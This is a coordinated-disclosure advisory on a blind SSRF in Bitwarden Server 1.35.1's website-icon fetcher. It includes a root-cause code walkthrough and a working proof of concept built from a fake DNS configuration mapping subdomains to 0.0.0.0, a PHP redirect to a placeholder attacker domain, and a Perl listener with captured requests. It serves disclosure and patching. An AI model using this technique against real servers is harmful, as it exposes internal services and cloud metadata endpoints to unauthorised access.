Bitwarden Server 1.35.1 Blind Server-Side Request Forgery (SSRF)

Summary

Bitwarden Server 1.35.1 is affected by a blind Server-Side Request Forgery (SSRF): an authenticated attacker can trigger arbitrary HTTP GET requests, even to locally exposed services, by adding a credential for a malicious domain.

Product description (from vendor)

“The Bitwarden Server project contains the APIs, database, and other core infrastructure items needed for the “backend” of all bitwarden client applications.”. For more information visit https://bitwarden.com/.

CVE(s)

Details

Root cause analysis

After a credential which includes the “website” field has been added to vault.bitwarden.com (or any self-hosted installation), if the settings allow website icons to be fetched (https://bitwarden.com/help/article/website-icons/), the Bitwarden server will try to fetch the icon image.

The entrypoint is at https://github.com/bitwarden/server/blob/v1.35.1/src/Icons/Controllers/IconsController.cs#L42-L65:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public async Task<IActionResult> Get(string hostname)
{
    [...]

    var url = $"http://{hostname}";
    if (!Uri.TryCreate(url, UriKind.Absolute, out var uri))
    {
        return new BadRequestResult();
    }

    var domain = uri.Host;
    
    [...]

    var mappedDomain = _domainMappingService.MapDomain(domain);
    if (!_iconsSettings.CacheEnabled || !_memoryCache.TryGetValue(mappedDomain, out Icon icon))
    {
        var result = await _iconFetchingService.GetIconAsync(domain);

GetIconAsync(string domain) is defined at https://github.com/bitwarden/server/blob/v1.35.1/src/Icons/Services/IconFetchingService.cs#L59:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public async Task<IconResult> GetIconAsync(string domain)
{
    if (IPAddress.TryParse(domain, out _))
    {
        _logger.LogWarning("IP address: {0}.", domain);
        return null;
    }

    if (!Uri.TryCreate($"https://{domain}", UriKind.Absolute, out var parsedHttpsUri))
    {
        _logger.LogWarning("Bad domain: {0}.", domain);
        return null;
    }

    var uri = parsedHttpsUri;
    var response = await GetAndFollowAsync(uri, 2);

As we can see, just the domain is used as entrypoint to retrieve the icon image. After trying both HTTPS and HTTP connections, if an HTTP redirect happens the backend will try to follow it, for a maximum of 2 times. By using a malicious DNS server it is possible to make the Bitwarden send the HTTP requests to a local IP.

The merged pull request https://github.com/bitwarden/server/pull/812 (which seems based on the vulnerable code snippet available on https://stackoverflow.com/a/8113687) tries to prevent SSRF attacks by checking if the domain resolves to some private IPs, but that protection doesn’t cover all cases: for example “0.0.0.0” (which will request “127.0.0.1”) or the private subnet “169.254.0.0/16” used in many cloud environments as metadata API (e.g. https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html) will pass that test and send the HTTP request to the locally-exposed service.

Proof of concept

  1. Buy a domain (or setup a malicious DNS server directly) and set it up on a server with a public IP address
  2. Setup a webserver on the domain, e.g. nginx
  3. Setup a malicious nameserver for the domain, I’ve used https://github.com/Crypt0s/FakeDns with the following configuration (change the domain name and IP with yours):
A www.yourdomain.com YOUR.PUBLIC.IP
A .*.local.yourdomain.com 0.0.0.0
  1. Create a redirect index page on the newly created webserver, this way we can define also the path which is going to be requested via HTTP, e.g. (change the domain name with yours):
1
2
3
<?php
header("location: http://test.local.yourdomain.com/PATH_IS_KEPT");
exit();
  1. Create a self-hosted Bitwarden instance following the instructions at https://bitwarden.com/help/article/install-on-premise/ and create an account
  2. Log-in via cli on the icons docker instance and setup a dummy TCP listener on port 80, this will confirm we can request arbitrary HTTP endpoints on 127.0.0.1 (NOTE: i’m opening this socket just for PoC purposes – of course the attacker wouldn’t have such access however they could attack other locally-exposed services available in the specific victim’s network), e.g.:
1
# perl -MIO::Socket::INET -ne 'BEGIN{$l=IO::Socket::INET->new( LocalPort=>80,Proto=>"tcp",Listen=>5,ReuseAddr=>1); my $l=$l->accept(); while(<$l>){ print $_; }; close($l);}'
  1. Log-in Bitwarden and add a credential with URL “www.yourdomain.com” (change the domain name with yours)
  2. Notice the HTTP request assembled at https://github.com/bitwarden/server/blob/v1.35.1/src/Icons/Services/IconFetchingService.cs#L301-L314 arrives on the local TCP listener, e.g.:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@2efebadd421d:/app# perl -MIO::Socket::INET -ne 'BEGIN{$l=IO::Socket::INET->new( LocalPort=>80,Proto=>"tcp",Listen=>5,ReuseAddr=>1); my $l=$l->accept(); while(<$l>){ print $_; }; close($l);}'
GET /PATH_IS_KEPT HTTP/1.1
Host: redacted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
Accept-Language: en-US, en; q=0.8
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, image/apng, */*; q=0.8
Request-Id: |3d01319c-4dccd9dac66f3032.3.
Accept-Encoding: gzip, deflate

^C
root@2efebadd421d:/app#

Impact

A malicious Bitwarden user can use the Bitwarden server to scan the local network and send arbitrary HTTP GET requests to a locally-exposed host, such as localhost or an endpoint in 169.254.0.0/16. The privilege to send such requests could potentially allow them to get hold of reserved information or escalate their privileges.

Remediation

Upgrade to Bitwarden Server 1.36 or later.

Disclosure timeline

This report was subject to Shielder’s disclosure policy:

  • 16/07/2020:
    • Report submitted via HackerOne
    • Vendor acknowledges issue and begins fix process
  • 18/07/2020:
    • Fix is merged to main branch
  • 29/07/2020:

Credits

`polict` of Shielder

Date

29 July 2020